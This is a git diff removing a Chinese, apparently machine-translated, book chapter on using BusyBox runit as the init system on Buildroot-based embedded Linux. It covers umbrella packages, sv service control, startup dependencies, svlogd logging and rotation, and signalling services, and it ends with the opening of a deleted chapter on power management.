`busybox.config`放在相应的`board//`目录中。 还要注意,定制 BusyBox`inittab`所在的`rootfs_overlay/etc`目录也是特定于主板的。 - -由于 BusyBox`runit`的所有服务配置文件都驻留在`/etc/sv`中,因此将它们全部提交到特定于电路板的`rootfs`覆盖似乎是合理的。 根据我的经验,这个解决方案很快就会变得过于僵化。 通常需要为同一电路板配置多个映像。 例如,消费设备可以具有单独的开发、生产和制造图像。 每个镜像都包含不同的服务,因此不同镜像之间的配置需要不同。 出于这些原因,服务配置最好在软件包级别进行,而不是在主板级别。 我使用树外伞包 -(每种图像类型一个包)来配置 BusyBox`runit`的服务。 - -在顶层,`br2-external`树必须包含`external.desc`、`external.mk`和`Config.in`文件。 `external.desc`文件包含一些描述`br2-external`树的基本元数据: - -```sh -$ cat external.desc -name: ACME -desc: Acme's external Buildroot tree -``` - -Buildroot 将`BR2_EXTERNAL__PATH`变量设置为`br2-external`树的绝对路径,以便变量可以在 Kconfig 和 Make 文件中引用。 `desc`字段是作为`BR2_EXTERNAL__DESC`变量提供的可选描述。 根据本`external.desc`将``替换为`ACME`。 `external.mk`文件通常只包含引用在`external.desc`中定义的`BR2_EXTERNAL__PATH`变量的一行: - -```sh -$ cat external.mk -include $(sort $(wildcard $(BR2_EXTERNAL_ACME_PATH)/package/acme/*/*.mk)) -``` - -第`include`行告诉 Buildroot 在哪里搜索外部包`.mk`文件。 外部软件包的相应`Config.in`文件的位置在`br2-external`树的顶级`Config.in`文件中定义: - -```sh -$ cat Config.in -source "$BR2_EXTERNAL_ACME_PATH/package/acme/development/Config.in" -source "$BR2_EXTERNAL_ACME_PATH/package/acme/manufacturing/Config.in" -source "$BR2_EXTERNAL_ACME_PATH/package/acme/production/Config.in" -``` - -Buildroot 读取`br2-external`树的`Config.in`文件,并将其中包含的包配方添加到顶级配置菜单。 让我们用`development`、`manufacturing`和`production`伞包填充 Buildroot 的`br2-external`树结构的其余部分: - -```sh -├── configs -│ ├── supergizmo_development_defconfig -│ ├── supergizmo_manufacturing_defconfig -│ └── supergizmo_production_defconfig -└── package - └── acme - ├── development - │ ├── Config.in - │ ├── development.mk - │ ├── haveged_run - │ ├── inittab - │ ├── ntpd.etc.conf - │ ├── sshd_config - │ ├── sshd_run - │ └── user-tables.txt - ├── manufacturing - │ ├── apply-squash-update - │ ├── Config.in - │ ├── haveged_run - │ ├── inittab - │ ├── manufacturing.mk - │ ├── mfg-profile - │ ├── sshd_config - │ ├── sshd_run - │ ├── test-button - │ ├── test-fan - │ ├── test-gps - │ ├── test-led - │ └── user-tables.txt - └── production - ├── Config.in - ├── dcron-root - ├── download-apply-update - ├── inittab - ├── ntpd.etc.conf - ├── ota.acme.systems.crt - ├── production.mk - └── user-tables.txt -``` - -如果将此目录树与 Buildroot 的前一个目录树进行比较,可以看到``已替换为`supergizmo`,``已替换为`acme`。 您可以将伞包看作是覆盖在一些常见基本图像之上的图像。 这样,所有三个映像都可以共享相同的 U-Boot、内核和驱动程序,因此它们的更改仅适用于用户空间。 - -考虑需要在设备的开发映像中包含哪些包才能使其有效。 至少,开发人员希望能够`ssh`进入设备,使用`sudo`执行命令,并使用`vim`编辑板载文件。 此外,他们希望能够使用`strace`、`gdb`和`perf`等工具跟踪、调试和分析他们的程序。 出于安全原因,这些软件都不属于设备的生产映像。 - -`Config.in`对于`development`伞形软件包,选择仅应部署到内部开发人员的试生产硬件的软件包: - -```sh -$ cat package/acme/development/Config.in -config BR2_PACKAGE_DEVELOPMENT - bool "development" - select BR2_PACKAGE_HAVEGED - select BR2_PACKAGE_OPENSSH - select BR2_PACKAGE_SUDO - select BR2_PACKAGE_TMUX - select BR2_PACKAGE_VIM - select BR2_PACKAGE_STRACE - select BR2_PACKAGE_LINUX_TOOLS_PERF - select BR2_PACKAGE_GDB - select BR2_PACKAGE_GDB_SERVER - select BR2_PACKAGE_GDB_DEBUGGER - select BR2_PACKAGE_GDB_TUI - help - The development image overlay for Acme's SuperGizmo. -``` - -在软件包构建过程的安装步骤期间,不同的服务脚本和配置文件将写入`output/target`目录。 以下是`package/acme/development/development.mk`的相关摘录: - -```sh -define DEVELOPMENT_INSTALL_TARGET_CMDS - $(INSTALL) -D -m 0644 $(@D)/inittab $(TARGET_DIR)/etc/inittab - $(INSTALL) -D -m 0755 $(@D)/haveged_run $(TARGET_DIR)/etc/sv/haveged/run - $(INSTALL) -D -m 0755 $(@D)/sshd_run $(TARGET_DIR)/etc/sv/sshd/run - $(INSTALL) -D -m 0644 $(@D)/sshd_config $(TARGET_DIR)/etc/ssh/sshd_config -endef -``` - -Buildroot`.mk`文件包含`_BUILD_CMDS`和`_INSTALL_TARGET_CMDS`节。 这个伞形软件包被命名为`development`,因此它的安装宏被定义为`DEVELOPMENT_INSTALL_TARGET_CMDS`。 前缀``需要与包的`Config.in`文件的`config BR2_`行中的``后缀匹配,否则宏名称将导致包生成错误。 - -`haveged/run`和`sshd/run`脚本安装到目标系统上的`/etc/sv`目录。 启动`runsvdir`所需的自定义`inittab`安装到目标上的`/etc`。 除非这些文件安装在具有预期权限的正确位置,否则 BusyBox`runit`无法启动`haveged`或`sshd`服务。 - -`haveged`是一个软件随机数生成器,旨在缓解 Linux`/dev/random`设备中的低熵条件。 低熵条件可能会阻止`sshd`启动,因为 SSH 协议严重依赖随机数。 一些较新的 SoC 可能还没有对其硬件随机数生成器提供内核支持。 如果不在这些系统上运行`haveged`,`sshd`可能需要几分钟时间才能在引导后开始接受连接。 - -在 BusyBox`runit`下运行`haveged`非常简单: - -```sh -$ cat package/acme/development/haveged_run -#!/bin/sh -exec /usr/sbin/haveged -w 1024 -r 0 -F -``` - -`production`和`manufacturing`伞包将不同的包和服务集合叠加到图像上。 `production`映像包括用于下载和应用软件更新的工具。 `manufacturing`映像包括工厂技术人员用于配置和测试硬件的工具。 BusyBox`runit`也非常适合这两种用例。 - -`Config.in`对于,`production`伞式软件包选择定期无线软件更新所需的软件包: - -```sh -$ cat package/acme/production/Config.in -config BR2_PACKAGE_PRODUCTION - bool "production" - select BR2_PACKAGE_DCRON - select BR2_PACKAGE_LIBCURL - select BR2_PACKAGE_LIBCURL_CURL - select BR2_PACKAGE_LIBCURL_VERBOSE - select BR2_PACKAGE_JQ - help - The production image overlay for Acme's SuperGizmo. -``` - -在开发和制造环境中,强制 OTA 更新通常是不可取的,因此这些软件包被排除在这些映像之外。 `production`映像包括一个`download-apply-update`脚本,该脚本使用`curl`向 OTA 服务器查询最新可用的软件更新。 板载还包括公共 SSL 证书,因此`curl`可以验证 OTA 服务器的真实性。 `dcron`守护进程被配置为每 10 到 20 分钟运行一次`download-apply-update`,并带有一些噪音,以避免蜂拥而至的人群。 如果有较新的更新可用,则脚本将下载映像,验证它,并在重新引导之前将其应用于 microSD 卡。 以下是`package/acme/production/production.mk`的相关摘录: - -```sh -define PRODUCTION_INSTALL_TARGET_CMDS - $(INSTALL) -D -m 0644 $(@D)/inittab $(TARGET_DIR)/etc/inittab - $(INSTALL) -D -m 0644 $(@D)/dcron-root $(TARGET_DIR)/etc/cron.d/root - $(INSTALL) -D -m 0775 $(@D)/download-apply-update $(TARGET_DIR)/usr/sbin/download-apply-update - $(INSTALL) -D -m 0644 $(@D)/ota.acme.com.crt $(TARGET_DIR)/etc/ssl/certs/ota.acme.com.crt - $(INSTALL) -D -m 0644 $(@D)/ntpd.etc.conf $(TARGET_DIR)/etc/ntp.conf -endef -``` - -将`production`映像`cd`构建到`br2-external`树的根,并发出以下命令: - -```sh -$ make clean -$ make supergizmo_production_defconfig -$ make -``` - -为 Acme SuperGizmo 构建`development`和`manufacturing`映像的步骤仅在选择`defconfig`时有所不同。 除了最后一行之外,这三种定义配置几乎相同,根据所选图像的不同,该行可以是`BR2_PACKAGE_DEVELOPMENT=y`、`BR2_PACKAGE_PRODUCTION=y`或`BR2_PACKAGE_MANUFACTURING=y`。 这三个伞包是相互排斥的,因此不要选择多个伞包包含在同一图像中,否则可能会遇到意想不到的结果。 - -# 服务监督 - -一旦我们在`/etc/sv`下使用`run`脚本创建了服务目录,并确保 BusyBox`init`启动`runsvdir`,BusyBox`runit`将处理所有剩余的工作。 这包括启动、停止、监视和重新启动其控制下的所有服务。 `runsvdir`实用程序为每个服务目录启动`runsv`进程,如果终止则重新启动`runsv`进程。 因为`run`脚本在前台运行各自的后台进程,所以`runsv`希望`run`阻塞,以便在`run`退出时,`runsv`会自动重新启动它。 - -系统启动期间需要服务自动重新启动,因为`run`脚本可能会崩溃。 在 BusyBox`runit`中尤其如此,在 BusyBox`runit`中,服务几乎同时启动,而不是一个接一个地启动。 例如,当依赖服务或基本系统资源(如 GPIO 或设备驱动程序)尚不可用时,服务可能无法启动。 在下一节中,我将向您展示如何表达服务之间的依赖关系,以便您的系统启动序列保持确定性。 - -下面是在我们的简单嵌入式 Linux 系统上运行的`runsv`进程: - -```sh -# ps aux | grep "[r]unsv" - 177 root runsvdir /etc/sv - 179 root runsv ntpd - 180 root runsv haveged - 181 root runsv syslogd - 182 root runsv dcron - 185 root runsv dbus - 187 root runsv bluetoothd - 192 root runsv watchdog - 195 root runsv connmand - 199 root runsv sshd - 202 root runsv klogd -``` - -请注意,`inittab`中的`runsvdir /etc/sv`命令直到 PID 177 才会执行。 PID 为 1 的进程是`/sbin/init`,它只是一个指向`/bin/busybox`的符号链接。 PID 2 到 176(未显示)都是内核线程和系统服务,因此它们的命令在由`ps`显示时会出现在方括号内。 方括号表示进程没有与之关联的实际命令行。 由于`connmand`和`bluetoothd`都依赖于 D-BUS 启动,因此在 D-BUS 启动和运行之前,`runsv`可能已多次重新启动任一服务: - -```sh -# pstree -a -init - |-getty -L 115200 ttyS0 - |-hciattach /dev/ttyAMA0 bcm43xx 921600 flow - 60:81:f9:b0:8a:02 - |-runsvdir /etc/sv - | |-runsv ntpd - | | `-ntpd -u ntp -c /etc/ntp.conf -U 60 -g -n - | | `-{ntpd} - | |-runsv haveged - | | `-haveged -w 1024 -r 0 -F - | |-runsv syslogd - | | `-syslogd -n -O /var/data/log/messages -b 99 -s 1000 - | |-runsv dcron - | |-runsv dbus - | | `-dbus-daemon --system --nofork --nopidfile --syslog-only - | |-runsv bluetoothd - | | `-bluetoothd -E --noplugin=* -n - | |-runsv watchdog - | | `-watchdog -T 10 -F /dev/watchdog - | |-runsv connmand - | | `-connmand -n - | |-runsv sshd - | | `-sshd -D - | `-runsv klogd - | `-klogd -n - `-wpa_supplicant -u -``` - -有些服务需要连接到互联网才能启动。 由于 DHCP 的异步特性,这可能会使服务启动延迟数秒。 由于`connmand`管理该系统上的所有网络接口,因此这些服务又依赖于`connmand`。 如果设备的 IP 地址因网络间切换或续订 DHCP 租约而更改,则可能需要重新启动许多相同的服务。 幸运的是,BusyBox`runit`提供了一种从命令行轻松重启服务的方法。 - -## 控制服务 - -BusyBox`runit`提供了用于管理和检查服务的`sv`命令行工具: - -```sh -# sv --help -BusyBox v1.31.1 () multi-call binary. -Usage: sv [-v] [-w SEC] CMD SERVICE_DIR... -Control services monitored by runsv supervisor. -Commands (only first character is enough): -status: query service status -up: if service isn't running, start it. If service stops, restart it -once: like 'up', but if service stops, don't restart it -down: send TERM and CONT signals. If ./run exits, start ./finish - if it exists. After it stops, don't restart service -exit: send TERM and CONT signals to service and log service. If they exit, - runsv exits too -pause, cont, hup, alarm, interrupt, quit, 1, 2, term, kill: send -STOP, CONT, HUP, ALRM, INT, QUIT, USR1, USR2, TERM, KILL signal to service -``` - -`sv`的帮助消息解释了`up`、`once`、`down`和`exit`命令的作用。 它还说明了`pause`、`cont`、`hup`、`alarm`、`interrupt`、`quit`、`1`、`2`、`term`和`kill`命令如何直接映射到 POSIX 信号。 请注意,每个命令的第一个字符足以调用它。 - -让我们使用`ntpd`作为目标服务来试验各种`sv`命令。 您的状态时间与我的不同,具体取决于您在两个命令之间等待的时间: - -1. Restart the `ntpd` service: - - ```sh - # sv t /etc/sv/ntpd - # sv s /etc/sv/ntpd - run: /etc/sv/ntpd: (pid 1669) 6s - ``` - - `sv t`命令重新启动服务,`sv s`命令获取其状态。 - `t`是`term`的缩写,因此`sv t`在重新启动服务之前发送服务`TERM`信号。 状态消息显示`ntpd`在重启后已经运行了 6 秒。 - -2. Now let's see what happens to the status when we use `sv d` to stop the - `ntpd` service: - - ```sh - # sv d /etc/sv/ntpd - # sv s /etc/sv/ntpd - down: /etc/sv/ntpd: 7s, normally up - ``` - - 这一次,状态消息显示`ntpd`自停止以来已停机 7 秒。 - -3. Start the `ntpd` service back up: - - ```sh - # sv u /etc/sv/ntpd - # sv s /etc/sv/ntpd - run: /etc/sv/ntpd: (pid 2756) 5s - ``` - - STATUS 消息现在显示`ntpd`自启动以来已经运行了 5 秒。 请注意,PID 比以前更高,因为系统自`ntpd`重新启动以来已经运行了一段时间。 - -4. Do a one-off start of `ntpd`: - - ```sh - # sv o /etc/sv/ntpd - # sv s /etc/sv/ntpd - run: /etc/sv/ntpd: (pid 3795) 3s, want down - ``` - - `sv o`命令类似于`sv u`,不同之处在于目标服务停止后不会再次重新启动。 您可以通过使用`sv k /etc/sv/ntpd`向`ntpd`服务发送`KILL`信号并观察到`ntpd`服务关闭并保持关闭来确认这一点。 - -下面是我们介绍的`sv`命令的详细形式: - -```sh -# sv term /etc/sv/ntpd -# sv status /etc/sv/ntpd -# sv down /etc/sv/ntpd -# sv up /etc/sv/ntpd -# sv once /etc/sv/ntpd -``` - -如果服务需要条件错误或信号处理,您可以在`finish`脚本中定义该逻辑。 Service`finish`脚本是可选的,只要`run`退出就会执行。 `finish`脚本有两个参数:`$1`(来自`run`的退出代码)和`$2`(由`waitpid`系统调用确定的退出状态的最低有效字节)。 当`run`正常退出时,`run`的退出代码为 0,当`run`异常退出时,退出代码为-1。 当`run`正常退出时,状态字节为 0,当`run`被信号终止时,状态字节为 0。 如果`runsv`无法启动`run`,则退出代码为 1,状态字节为 0。 - -检测到 IP 地址更改的服务可以通过向`sv t`发出命令来重新启动网络服务。 这与`ifplugd`执行的操作类似,不同之处在于`ifplugd`在以太网链路状态而不是 IP 地址更改时触发。 这样的服务可以像 shell 脚本一样简单,它由持续轮询所有网络接口的单个`while`循环组成。 您还可以从`run`或`finish`脚本发出`sv`命令,作为服务之间通信的一种方式。 在下一节中,我将向您展示如何做到这一点。 - -# 取决于其他服务 - -我提到了像`connmand`和`bluetoothd`这样的一些服务需要 D-Bus。 D-BUS 是支持发布-订阅进程间通信的消息系统总线。 D-BUS 的 Buildroot 软件包提供了一个系统`dbus-daemon`和一个参考`libdbus`库。 `libdbus`库实现了低级 D-Bus C API,但是其他语言(如 Python)存在到`libdbus`的高级绑定。 一些语言还提供了完全不依赖于`libdbus`的 D-BUS 协议的替代实现。 D-BUS 服务(如`connmand`和`bluetoothd`)期望系统`dbus-daemon`在它们可以启动之前已经在运行。 - -## 启动依赖项 - -官方的`runit`文档建议使用`sv start`来表示对`runit`控制下的其他服务的依赖关系。 为确保 D-BUS 在`connmand`开始之前可用,您应该相应地定义您的`/etc/sv/connmand/run`: - -```sh -#!/bin/sh -/bin/sv start /etc/sv/dbus > /dev/null || exit 1 -exec /usr/sbin/connmand -n -``` - -`sv start /etc/sv/dbus`如果系统`dbus-daemon`尚未运行,则尝试启动系统`dbus-daemon`。 `sv start`命令与`sv up`类似,不同之处在于它将等待`-w`参数或`SVWAIT`环境变量指定的秒数来启动服务。 未定义`-w`参数或`SVWAIT`环境变量时,默认的最长等待时间为 7 秒。 如果服务已经启动,则返回退出代码 0 表示成功。 退出代码 1 表示故障,导致`/etc/sv/connmand/run`在没有启动`connmand`的情况下提前退出。 监视`connmand`的`runsv`进程将继续尝试启动该服务,直到最终成功。 - -下面是我们对应的`/etc/sv/dbus/run`,它是我从 void 派生的: - -```sh -#!/bin/sh -[ ! -d /var/run/dbus ] && /bin/install -m755 -g 22 -o 22 -d /var/run/dbus -[ -d /tmp/dbus ] || /bin/mkdir -p /tmp/dbus -exec /bin/dbus-daemon --system --nofork --nopidfile --syslog-only -``` - -与 Buildroot 的`/etc/init.d/S30dbus`中的以下摘录形成对比: - -```sh -# Create needed directories. -[ -d /var/run/dbus ] || mkdir -p /var/run/dbus -[ -d /var/lock/subsys ] || mkdir -p /var/lock/subsys -[ -d /tmp/dbus ] || mkdir -p /tmp/dbus -RETVAL = 0 -start() { - printf "Starting system message bus: " - dbus-uuidgen --ensure - dbus-daemon --system - RETVAL=$? - echo "done" - [ $RETVAL -eq 0 ] && touch /var/lock/subsys/dbus-daemon -} -stop() { - printf "Stopping system message bus: " - ## we don't want to kill all the per-user $processname, we want - ## to use the pid file *only*; because we use the fake nonexistent - ## program name "$servicename" that should be safe-ish - killall dbus-daemon - RETVAL=$? - echo "done" - if [ $RETVAL -eq 0 ]; then - rm -f /var/lock/subsys/dbus-daemon - rm -f /var/run/messagebus.pid - fi -} -``` - -请注意,Buildroot 版本的 D-BUS 服务脚本要复杂得多。 因为`runit`在前台运行`dbus-daemon`,所以不需要`lock`或`pid`文件以及与这些文件相关联的所有仪式。 您可能会认为前面的`stop()`函数是一个好的`finish`脚本,除了在`runit`的情况下,没有要删除的`dbus-daemon`或者要删除的`pid`或`lock`文件。 服务`finish`脚本在`runit`中是可选的,因此它们应该仅保留用于有意义的工作。 - -## 自定义启动依赖项 - -如果`/etc/sv/dbus`目录中存在`check`,`sv`会运行此脚本来检查服务是否可用。 如果`check`以 0 退出,则认为服务可用。 `check`机制使您能够表达除正在运行的进程之外的服务可用的附加后置条件。 例如,仅仅因为`connmand`已经启动并不意味着一定已经建立了到互联网的连接。 `check`脚本确保一个服务在其他服务可以启动之前完成其预期的操作。 - -要验证 Wi-Fi 是否打开,您可以定义以下`check`: - -```sh -#!/bin/sh -WIFI_STATE=$(cat /sys/class/net/wlan0/operstate) -"$WIFI_STATE" = "up" || exit 1 -exit 0 -``` - -通过将前面的脚本安装到`/etc/sv/connmand/check`,您需要 Wi-Fi 才能启动`connmand`服务。 这样,当您发出`sv start /etc/sv/connmand`时,该命令仅在 Wi-Fi 接口打开时返回退出代码 0,即使`connmand`正在运行。 - -您可以使用`sv check`命令在不启动服务的情况下执行`check`脚本。 与`sv start`类似,如果服务目录中存在`check`,`sv`会运行此脚本来确定服务是否可用。 如果`check`以 0 退出,则认为服务可用。 `sv`将等待最多 7 秒,直到`check`返回退出代码 0。 与`sv start`不同,如果`check`返回非零退出代码,`sv`不会尝试启动服务。 - -## 把这一切放在一起 - -我们已经看到了`sv start`和`check`机制如何使我们能够表达服务之间的启动依赖关系。 将这些功能与`finish`脚本相结合使我们能够构建进程监督树。 例如,充当父进程的服务可以在停止时调用`sv down`来关闭其依赖子服务。 我认为,正是这种高级定制让 BusyBox`runit`变得如此强大。 您只需使用简单、定义良好的 shell 脚本就可以将系统调整为您想要的行为方式。 要了解有关监督树的更多信息,我推荐有关 Erlang 容错的文献。 - -# 专用服务日志记录 - -专用服务记录器只记录来自单个守护进程的输出。 专用日志记录很好,因为不同服务的诊断数据分布在单独的日志文件中。 集中式系统记录器(如`syslogd`)生成的单一日志文件通常很难清理。 这两种形式的日志记录都有各自的用途:专用日志记录在可读性方面表现出色,而集中式日志记录提供了上下文。 您的服务可以每个都有自己的专用记录器,并且仍然写入`syslog`,因此您可以两者都不牺牲。 - -## 它是如何工作的? - -因为服务`run`脚本在前台运行,所以向服务添加专用记录器只涉及将标准输出从服务的`run`重定向到日志文件。 通过在目标服务目录中创建一个`log`子目录,并在其中包含另一个`run`脚本,可以启用专用服务日志记录。 这个额外的`run`用于服务的记录器,而不是服务本身。 当该`log`目录存在时,打开从服务目录中的`run`进程的输出到`log`目录中的`run`进程的输入的管道。 - -以下是`sshd`的可能服务目录布局: - -```sh -# tree etc/sv/sshd -etc/sv/sshd -|-- finish -|-- log -| `-- run -`-- run -``` - -更准确地说,当 BusyBox`runit``runsv`进程遇到此服务目录布局时,它除了在必要时启动`sshd/run`和`sshd/finish`之外,还会执行几项操作: - -1. 创建管道 -2. 将标准出站从`run`和`finish`重定向到管道 -3. 切换到`log`目录 -4. 开始`log/run` -5. 将`log/run`的标准输入重定向为从管道读取 - -`runsv`启动和监控`sshd/log/run`,就像它启动和监控`sshd/run`一样。 一旦为`sshd`添加了一个记录器,您会注意到`sv d /etc/sv/sshd`只停止`sshd`。 要停止记录器,除非将该命令添加到`/etc/sv/sshd/finish`脚本,否则必须输入`sv d /etc/sv/sshd/log`。 - -## 向服务添加专用日志记录 - -BusyBox`runit`提供了一个`svlogd`日志记录守护进程,以在您的`log/run`脚本中使用: - -```sh -# svlogd --help -BusyBox v1.31.1 () multi-call binary. -Usage: svlogd [-tttv] [-r C] [-R CHARS] [-l MATCHLEN] [-b BUFLEN] DIR... -Read log data from stdin and write to rotated log files in DIRs --r C Replace non-printable characters with C --R CHARS Also replace CHARS with C (default _) --t Timestamp with @tai64n --tt Timestamp with yyyy-mm-dd_hh:mm:ss.sssss --ttt Timestamp with yyyy-mm-ddThh:mm:ss.sssss --v Verbose -``` - -请注意,`svlogd`需要一个或多个`DIR`输出目录路径作为参数。 - -要向现有 BusyBox`runit`服务添加专用日志记录,请执行以下操作: - -1. 在服务目录内创建`log`子目录。 -2. 在`log`子目录中创建一个`run`脚本。 -3. 使该`run`脚本可执行。 -4. 使用`exec`在`run`内部运行`svlogd`。 - -以下是 void 的`/etc/sv/sshd/log/run`脚本: - -```sh -#!/bin/sh -[ -d /var/log/sshd ] || mkdir -p /var/log/sshd -exec chpst -u root:adm svlogd -t /var/log/sshd -``` - -由于`svlogd`会将`sshd`日志文件写入`/var/log/sshd`,因此如果该目录尚不存在,我们首先需要创建该目录。 要使`sshd`日志文件持久存在,您可能需要修改`inittab`,以便在启动`runsvdir`之前,在引导时将`/var`挂载到可写闪存分区。 `exec`的`chpst -u root:adm`部分确保`svlogd`以`root`用户和`adm`组特权和权限运行。 - -`-t`选项为写入日志文件的每一行添加一个 TAI64N 格式的时间戳前缀。 虽然 TAI64N 时间戳是精确的,但它们不是最易读的。 `svlogd`提供的其他时间戳选项是`-tt`和`-ttt`。 一些守护进程编写自己的时间戳以进行标准输出。 要避免编写带有令人困惑的双时间戳的行,只需从`log/run``svlogd`命令中省略`-t`或其任何变体即可。 - -您可能会想要向`klogd`和`syslogd`服务添加专用记录器。 抵制住这种诱惑。 `klogd`和`syslogd`是系统范围的日志记录守护进程, -它们都非常擅长它们的工作。 除非 -记录器出现故障并且您需要对其进行调试,否则记录该记录器的操作实际上是没有意义的。 如果您开发的服务同时记录到`stdout`和`syslog`,请确保从`syslog`消息文本中排除时间戳。 `syslog`协议包括一个`timestamp`字段,用于嵌入时间戳。 - -每个专用记录器都在其自己的单独进程中运行。 在设计嵌入式系统时,需要考虑支持这些额外的记录器进程所需的额外开销。 如果您打算使用 BusyBox`runit`在资源受限的系统上监控大量服务,请选择要向哪些服务添加专用日志记录,否则响应能力可能会受到影响。 - -## 原木轮换 - -`svlogd`使用默认的 10 个日志文件自动旋转日志文件,每个日志文件的大小不超过 100 万字节。 回想一下,这些轮换的日志文件被写出到一个或多个`DIR`输出目录中,路径作为参数传递到`svlogd`。 当然,这些轮换设置是可配置的,但在我开始之前,让我解释一下日志轮换是如何工作的。 - -让我们假设`svlogd`不知何故知道名为`NUM`和`SIZE`的两个值。 `NUM`是要保留的日志文件数。 `SIZE`是日志文件的最大大小。 `svlogd`将日志消息追加到名为`current`的日志文件中。 当`current`的大小达到`SIZE`字节时,则`svlogd`旋转`current`。 - -要旋转`current`文件,`svlogd`将执行以下操作: - -1. 关闭`current`日志文件。 -2. 将`current`设为只读。 -3. 将`current`重命名为`@.s`。 -4. 创建新的`current`日志文件并开始写入。 -5. 统计除`current`之外的现有日志文件数。 -6. 如果`count`等于或超过`NUM`,则删除最旧的日志文件。 - -``用于重命名要轮换的`current`日志文件是文件轮换时的时间戳,而不是创建时的时间戳。 - -现在观察这里对`SIZE`、`NUM`和`PATTERN`的描述: - -```sh -# svlogd --help -BusyBox v1.31.1 () multi-call binary. -[Usage not shown] -DIR/config file modifies behavior: -sSIZE - when to rotate logs (default 1000000, 0 disables) -nNUM - number of files to retain -!PROG - process rotated log with PROG -+,-PATTERN - (de)select line for logging -E,ePATTERN - (de)select line for stderr -``` - -这些设置从`DIR/config`文件(如果存在)中读取。 请注意,`SIZE`为 0 将禁用日志轮换,并且不是默认设置。 下面是一个`DIR/config`文件,它使`svlogd`最多保留 100 个日志文件,每个文件的大小最大为 9999,999 字节,总共大约有 1 GB 的循环日志写入到一个输出目录中: - -```sh -s9999999 -n100 -``` - -如果将多个`DIR`输出目录传递给`svlogd`,则`svlogd`会记录所有这些目录。 为什么要将相同的消息记录到多个目录? 答案是您*不*将相同的消息记录到多个目录。 由于每个输出目录都有自己的`config`文件,因此您可以使用模式匹配来选择要将哪些消息记录到哪个输出目录。 - -假设长度为`N`的`PATTERN`,如果`DIR/config`中的一行以`+`、`-`、`E`或`e`开头,则`svlogd`会相应地将每个日志消息的前`N`字符与`PATTERN`进行匹配。 `+`和`-`前缀适用于`current`,`E`和`e`前缀适用于标准误差。 `+PATTERN`选择并`-PATTERN`过滤出要记录到`current`的匹配行。 `EPATTERN`选择并`ePATTERN`过滤出匹配的行,以提醒标准错误。 - -# 发信号通知服务 - -在前面的*启动依赖关系*部分中,我展示了如何使用`sv`命令行工具控制服务。 稍后,我演示了如何在`run`和`finish`脚本中使用`sv start`和`sv down`命令在服务之间通信。 您可能已经猜到,当执行`sv`命令时,`runsv`正在向它监控的`run`进程发送 POSIX 信号。 但您可能不知道的是,`sv`工具通过命名管道控制其目标`runsv`进程。 命名管道`supervise/control`和可选的`log/supervise/control`被打开,以便其他进程可以向`runsv`发送命令。 使用`sv`命令发送服务信号很容易,但如果您愿意,可以完全绕过`sv`,直接将控制字符写入`control`管道。 - -没有专用日志记录的服务的运行时目录布局如下所示: - -```sh -# tree /etc/sv/syslogd -/etc/sv/syslogd -|-- run -`-- supervise - |-- control - |-- lock - |-- ok - |-- pid - |-- stat - `-- status -``` - -`/etc/sv/syslogd`下的`control`文件是服务的命名管道。 `pid`和`stat`文件包含服务的实时 PID 和状态值(`run`或`down`)。 `supervise`子目录及其所有内容由`runsv syslogd`在系统启动时创建和填充。 如果服务包含专用记录器,`runsv`也会为其生成一个`supervise`子目录。 - -以下控制字符(`t`、`d`、`u`和`o`)直接映射到我们已经遇到的简短形式的`sv`命令(`term`、`down`、`up`和`once`): - -* `t``term`:在重新启动服务之前向进程发送`TERM`信号。 -* `d``down`:向进程发送`TERM`信号,后跟`CONT`信号,并且不重新启动它。 -* `u``up`:启动服务,如果进程退出,则重新启动它。 -* `o``once`:尝试启动服务的时间最长为 7 秒,之后不会重新启动。 -* `1`:向进程发送`USR1`信号。 -* `2`:向进程发送`USR2`信号。 - -控制字符`1`和`2`特别重要,因为它们对应于用户定义的信号。 如何响应`USR1`和`USR2`信号由接收端的服务决定。 如果您是负责扩展服务的开发人员,则可以通过实现信号处理程序来实现。 两个用户定义的信号可能看起来不太好用,但是如果您将这些不同的事件与写入配置文件的更新结合起来,您可以实现很多功能。 用户定义的信号还有一个额外的优点,即不需要像`STOP`、`TERM`和`KILL`信号那样停止或终止正在运行的进程。 - -# 摘要 - -这一章深入探讨了一个鲜为人知的`init`系统,我觉得这个系统在很大程度上被低估了。 与`systemd`类似,BusyBox`runit`可以在引导和运行时强制服务之间的复杂依赖关系。 它只是以一种简单得多的方式做到了,我认为它比`systemd`更像 Unix。 此外,在启动时间方面,没有什么比 BusyBox`runit`更好的了。 如果您已经使用 Buildroot 作为构建系统,那么我强烈建议您考虑将 BusyBox`runit`用于您设备的`init`系统。 - -在我们的探险中,我们覆盖了很多地方。 首先,您了解了如何将 BusyBox`runit`安装到您的设备上,并使用 Buildroot 启动它。 然后,我向您展示了如何使用树外伞包以不同的方式组装和配置服务。 接下来,在深入研究服务依赖关系和表达它们的方式之前,我们先对实时流程监督树进行了实验。 之后,我向您展示了如何添加专用记录器和配置服务的日志轮换。 最后,我描述了服务如何写入现有的命名管道,以此作为彼此发送信号的一种方式。 - -在下一章中,我将把注意力转向 Linux 系统的电源管理,目的是展示如何降低能耗。 如果您正在设计使用电池供电的设备,这将特别有用。 - -# 进一步阅读 - -以下是本章中提到的各种资源: - -* *Buildroot 用户手册*:[http://nightly.buildroot.org/manual.html#customize](http://nightly.buildroot.org/manual.html#customize) -* *机组文档*,作者:Gerrit Pape:[http://smarden.org/runit/](http://smarden.org/runit/) -* *作废手册*:[https://docs.voidlinux.org/config/services](https://docs.voidlinux.org/config/services) -* *Tristan Sloghter、Fred Hebert 和 Evan Vigil-McClanahan 采用 Erlang*:[https://adoptingerlang.org/docs/development/supervision_trees](https://adoptingerlang.org/docs/development/supervision_trees) \ No newline at end of file diff --git a/docs/master-emb-linux-prog/15.md b/docs/master-emb-linux-prog/15.md deleted file mode 100644 index 39ce38de..00000000 --- a/docs/master-emb-linux-prog/15.md +++ /dev/null @@ -1,623 +0,0 @@ -# 十五、管理电源 - -对于使用电池供电的设备来说,电源管理至关重要:我们能做的任何降低功耗的事情都会延长电池寿命。 即使对于使用市电运行的设备,降低功耗也有助于降低冷却需求和能源成本。 在本章中,我将介绍电源管理的四个原则: - -* 如果没有必要,不要着急。 -* 不要为无所事事而感到羞耻。 -* 关掉你不用的东西。 -* 无事可做的时候睡觉。 - -用更专业的术语来说,这些原则意味着电源管理系统应该努力降低 CPU 时钟频率。 在空闲期间,它应该选择尽可能深的睡眠状态;它应该通过关闭不使用的外围设备来减少负载,并且应该能够将整个系统置于挂起状态,同时确保电源状态转换迅速。 - -Linux 具有解决上述每一点的功能。 我将依次描述每一种方法,并举例说明如何将它们应用于嵌入式系统,以便最大限度地利用电源。 - 